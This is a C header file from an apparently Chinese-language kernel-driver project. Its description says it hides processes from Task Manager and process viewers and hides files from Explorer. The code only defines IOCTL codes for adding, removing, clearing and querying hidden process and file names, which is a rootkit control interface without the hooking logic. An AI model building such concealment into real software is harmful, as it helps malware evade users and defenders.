ioctl.h

实现了隐藏进程,使进程对任务管理器和进程查看器均不可见,使文件对资源管理器不可见 是驱动编程入门的好例子

//ICTL's
#if !defined(AFX_IOCTL_H__4ADA8D3D_9AE6_4218_91AE_43C252534A1A__INCLUDED_)
#define AFX_IOCTL_H__4ADA8D3D_9AE6_4218_91AE_43C252534A1A__INCLUDED_

// Process hooks IOCTLs
#define IOCTL_ADD_PROCESS_NAME CTL_CODE( \
	FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_DEL_PROCESS_NAME CTL_CODE( \
	FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_CLEAR_PROCESS_NAME CTL_CODE( \
	FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_QUERY_PROCESS_NAME CTL_CODE( \
	FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)

// File hooks IOCTLs
#define IOCTL_ADD_FILE_NAME CTL_CODE( \
	FILE_DEVICE_UNKNOWN, 0x901, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_DEL_FILE_NAME CTL_CODE( \
	FILE_DEVICE_UNKNOWN, 0x902, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_CLEAR_FILE_NAME CTL_CODE( \
	FILE_DEVICE_UNKNOWN, 0x903, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_QUERY_FILE_NAME CTL_CODE( \
	FILE_DEVICE_UNKNOWN, 0x904, METHOD_BUFFERED, FILE_ANY_ACCESS)

#endif // !defined(AFX_IOCTL_H__4ADA8D3D_9AE6_4218_91AE_43C252534A1A__INCLUDED_)